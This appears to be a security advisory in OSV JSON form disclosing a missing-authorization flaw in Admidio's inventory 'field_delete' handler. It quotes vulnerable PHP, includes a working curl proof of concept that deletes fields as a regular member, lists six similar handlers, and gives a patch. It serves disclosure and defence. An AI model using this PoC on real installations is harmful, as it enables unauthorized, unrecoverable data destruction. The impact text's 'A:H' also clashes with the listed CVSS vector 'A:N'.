{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1281",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:09:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCommit `d37ca6b27b9674238e58491cf7ba292e66898f15` (\"Delete item not check admin rights #2024\", 2026-04-12) added a missing `isAdministratorInventory()` gate to `case \u0027item_delete\u0027:` in `modules/inventory.php`. The same fix was not applied to the sibling `case \u0027field_delete\u0027:` handler, which destroys an entire inventory field definition, cascading to every `adm_inventory_item_data` row that referenced that field and every `adm_inventory_field_options` entry. The handler validates only a session-bound CSRF token; there is no `isAdministratorInventory()` check at the controller level, and `Admidio\\Inventory\\Entity\\ItemField::delete()` does not enforce one at the entity level either (unlike its sibling `ItemField::save()`, which does check `$gCurrentUser-\u003eisAdministrator()`). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.\n\n## Details\n\n### Vulnerable Code\n\n`modules/inventory.php` mode dispatch at the top of the file:\n\n```php\n// modules/inventory.php:64-72  (top-level rights gate)\nif ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 0) {\n    throw new Exception(\u0027SYS_MODULE_DISABLED\u0027);\n} elseif ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 2 \u0026\u0026 !$gValidLogin\n    || ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 3 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())\n    || ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 4 \u0026\u0026 !InventoryPresenter::isCurrentUserKeeper() \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())\n    || ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 5 \u0026\u0026 !$gCurrentUser-\u003eisAllowedToSeeInventory() \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n    throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n```\n\n`inventory_module_enabled=2` is the default value (`install/db_scripts/preferences.php`: `\u0027inventory_module_enabled\u0027 =\u003e \u00272\u0027,`). At this setting the only gate is `$gValidLogin` \u2014 any logged-in user reaches the switch.\n\n`modules/inventory.php:123-131` \u2014 `field_delete` only checks the session CSRF, not admin rights:\n\n```php\ncase \u0027field_delete\u0027:\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n    $itemFieldService-\u003edelete();\n\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027message\u0027 =\u003e $gL10n-\u003eget(\u0027SYS_INVENTORY_ITEMFIELD_DELETED\u0027)));\n    break;\n```\n\n`SecurityUtils::validateCsrfToken` (`src/Infrastructure/Utils/SecurityUtils.php`) is a session-token compare:\n\n```php\npublic static function validateCsrfToken(string $csrfToken)\n{\n    global $gCurrentSession;\n    if ($csrfToken !== $gCurrentSession-\u003egetCsrfToken()) {\n        throw new Exception(\u0027Invalid or missing CSRF token!\u0027);\n    }\n}\n```\n\nThe token is the session\u0027s CSRF token, which the actor\u0027s own session prints on every page (it appears in `?mode=field_list`\u0027s response in the `data-csrf` JSON callback). So a non-admin attacker has it for free.\n\n`src/Inventory/Service/ItemFieldService.php:46-49` \u2014 the service just delegates:\n\n```php\npublic function delete(): bool\n{\n    return $this-\u003eitemFieldRessource-\u003edelete();\n}\n```\n\n`src/Inventory/Entity/ItemField.php:54-88` \u2014 the entity\u0027s `delete()` blocks system fields via `inf_system==1` but otherwise has **no `isAdministrator()` check**:\n\n```php\npublic function delete(): bool\n{\n    global $gCurrentOrgId;\n\n    if ($this-\u003egetValue(\u0027inf_system\u0027) == 1) {\n        // System fields could not be deleted\n        throw new Exception(\u0027Item fields with the flag \"system\" could not be deleted.\u0027);\n    }\n\n    $this-\u003edb-\u003estartTransaction();\n\n    // close gap in sequence\n    $sql = \u0027UPDATE \u0027 . TBL_INVENTORY_FIELDS . \u0027 SET inf_sequence = inf_sequence - 1 ...\u0027;\n    $this-\u003edb-\u003equeryPrepared($sql, ...);\n\n    // delete all data of this field in the item data table\n    $sql = \u0027DELETE FROM \u0027 . TBL_INVENTORY_ITEM_DATA . \u0027 WHERE ind_inf_id = ? -- $infId\u0027;\n    $this-\u003edb-\u003equeryPrepared($sql, array($infId));\n\n    // delete all data of this field in the field select options table\n    $sql = \u0027DELETE FROM \u0027 . TBL_INVENTORY_FIELD_OPTIONS . \u0027 WHERE ifo_inf_id = ? -- $infId\u0027;\n    $this-\u003edb-\u003equeryPrepared($sql, array($infId));\n\n    $return = parent::delete();        // DELETE FROM adm_inventory_fields WHERE inf_id = ?\n\n    $this-\u003edb-\u003eendTransaction();\n    return $return;\n}\n```\n\nCompare with `ItemField::save()` at line 230, which *does* enforce admin:\n\n```php\npublic function save(bool $updateFingerPrint = true): bool\n{\n    global $gCurrentUser, $gCurrentOrgId;\n\n    // only administrators can edit item fields\n    if (!$gCurrentUser-\u003eisAdministrator() \u0026\u0026 !$this-\u003esaveChangesWithoutRights) {\n        throw new Exception(\u0027Item field could not be saved because only administrators are allowed to edit item fields.\u0027);\n    }\n    ...\n}\n```\n\nThe asymmetry is the bug: save is gated, delete is not.\n\n### Sibling Handlers with the Same Shape\n\nSix other state-changing modes in the same file have the same \"CSRF only, no `isAdministratorInventory()` check\" structure. They are not the subject of *this* advisory but should be patched together when fixing the root cause:\n\n| line | mode | effect |\n|---:|---|---|\n| 123 | `field_delete` | this advisory |\n| 154 | `delete_option_entry` | removes a single option from a dropdown / radio field |\n| 171 | `sequence` | reorders fields |\n| 347 | `item_retire` | hides items from the active inventory |\n| 364 | `item_reinstate` | un-hides items |\n| 462 | `item_picture_delete` | deletes an item picture |\n\nEach of these is reachable by any logged-in user under the default `inventory_module_enabled=2`.\n\n## PoC\n\nTested live on HEAD `c5cde53` with PHP 8.4, MariaDB 11.8 backing on `127.0.0.1:3399`, Admidio served via `php -S 127.0.0.1:8085`. `inventory_module_enabled=2` (default install).\n\nA non-administrator user `lowuser` was created via the admin UI and given only the default `Member` role. The user has no `isAdministratorInventory()` right and is not configured as a keeper. A non-system test field `TESTFIELD` (uuid `cccccccc-2222-3333-4444-deadbeefcafe`) was created via SQL, with `inf_system=0`.\n\n```\n# starting state: lowuser is a regular Member; TESTFIELD exists\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern=\u0027TESTFIELD\u0027;\"\ninf_id  inf_uuid                                inf_name_intern  inf_system\n8       cccccccc-2222-3333-4444-deadbeefcafe    TESTFIELD        0\n\n# 1. login as lowuser\n$ curl -sb $cookie -L \"http://127.0.0.1:8085/\" -o /tmp/init.html\n$ csrf=$(grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 /tmp/init.html | head -1 | sed \u0027s/.*value=\"//\u0027)\n$ curl -sb $cookie \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"plg_usr_login_name=lowuser\" \\\n    --data-urlencode \"plg_usr_password=Lowpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"http://127.0.0.1:8085/modules/overview.php\"}\n\n# 2. lowuser visits inventory\u0027s field_list page (this works under default\n#    inventory_module_enabled=2 because $gValidLogin is true)\n#    The response contains the session CSRF token in a data callback\n$ inv_csrf=$(curl -sb $cookie \"http://127.0.0.1:8085/modules/inventory.php?mode=field_list\" \\\n              | grep -oE \u0027\"adm_csrf_token\":\\s*\"[^\"]+\"\u0027 | head -1 \\\n              | sed \u0027s/.*\"adm_csrf_token\":\\s*\"//;s/\"$//\u0027)\n\n# 3. lowuser sends field_delete targeting TESTFIELD\n$ curl -sb $cookie -X POST \\\n    --data-urlencode \"adm_csrf_token=$inv_csrf\" \\\n    \"http://127.0.0.1:8085/modules/inventory.php?mode=field_delete\u0026uuid=cccccccc-2222-3333-4444-deadbeefcafe\"\n{\"status\":\"success\",\"message\":\"Item field successfully deleted\"}\n\n# 4. verify\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern=\u0027TESTFIELD\u0027;\"\n(no rows)\n```\n\nThe field is gone. `Admidio\\Inventory\\Entity\\ItemField::delete()` ran the four statements (sequence-gap update, `DELETE FROM adm_inventory_item_data`, `DELETE FROM adm_inventory_field_options`, `DELETE FROM adm_inventory_fields`) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field\u0027s creator.\n\n## Impact\n\nA non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:\n\n* Every per-item value stored against that field across the whole organisation is wiped (`DELETE FROM adm_inventory_item_data WHERE ind_inf_id = \u003cfield\u003e`).\n* For dropdown / radio / multiselect fields, every option entry is wiped (`DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = \u003cfield\u003e`).\n* The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.\n* There is no in-product undo. Recovery requires restoring from backup.\n\nIn practice, a single attacker with one rogue regular-member account can iterate `field_list` to enumerate non-system fields and delete all of them in a few requests. The inventory module\u0027s stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.\n\n`PR:L` because any logged-in member is enough; `S:U` because the impact stays inside Admidio\u0027s own data; `C:N` because the operation does not leak data; `I:H` because the field row plus all referencing rows are destroyed; `A:H` because the inventory module\u0027s user-defined schema is lost.\n\nThe bug is a classic **incomplete fix**: commit `d37ca6b` patched the literal endpoint named in issue #2024 (`item_delete`) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit `12639a4` (\"CSRF and Form Validation Bypass in Inventory Item Save via \u0027imported\u0027 Parameter\") on `item_save`, again only on the literal reported endpoint.\n\n## Recommended Fix\n\nAdd an explicit `isAdministratorInventory()` check at the top of `case \u0027field_delete\u0027:` (and the sibling state-changing handlers listed above), matching the pattern that was applied to `item_delete` in `d37ca6b`:\n\n```php\n// modules/inventory.php\ncase \u0027field_delete\u0027:\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    // check if user has admin rights for inventory   \u003c-- new\n    if (!$gCurrentUser-\u003eisAdministratorInventory()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n    $itemFieldService-\u003edelete();\n\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027message\u0027 =\u003e $gL10n-\u003eget(\u0027SYS_INVENTORY_ITEMFIELD_DELETED\u0027)));\n    break;\n```\n\nApply the same patch to `delete_option_entry` (line 154), `sequence` (line 171), `item_retire` (line 347), `item_reinstate` (line 364), and `item_picture_delete` (line 462).\n\nFor defense in depth, mirror the entity-level gate from `ItemField::save()` into `ItemField::delete()` at `src/Inventory/Entity/ItemField.php:54`:\n\n```php\npublic function delete(): bool\n{\n    global $gCurrentUser, $gCurrentOrgId;\n\n    if (!$gCurrentUser-\u003eisAdministrator() \u0026\u0026 !$this-\u003esaveChangesWithoutRights) {\n        throw new Exception(\u0027Item field could not be deleted because only administrators are allowed to delete item fields.\u0027);\n    }\n\n    if ($this-\u003egetValue(\u0027inf_system\u0027) == 1) {\n        throw new Exception(\u0027Item fields with the flag \"system\" could not be deleted.\u0027);\n    }\n    ...\n}\n```\n\nA regression test should log in as a non-administrator member, GET `inventory.php?mode=field_list`, post `mode=field_delete` with the captured session CSRF token, and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
  "id": "GHSA-xw54-c3mx-9pm3",
  "modified": "2026-05-29T22:09:38Z",
  "published": "2026-05-29T22:09:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-xw54-c3mx-9pm3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` \u2014 incomplete fix of #2024"
}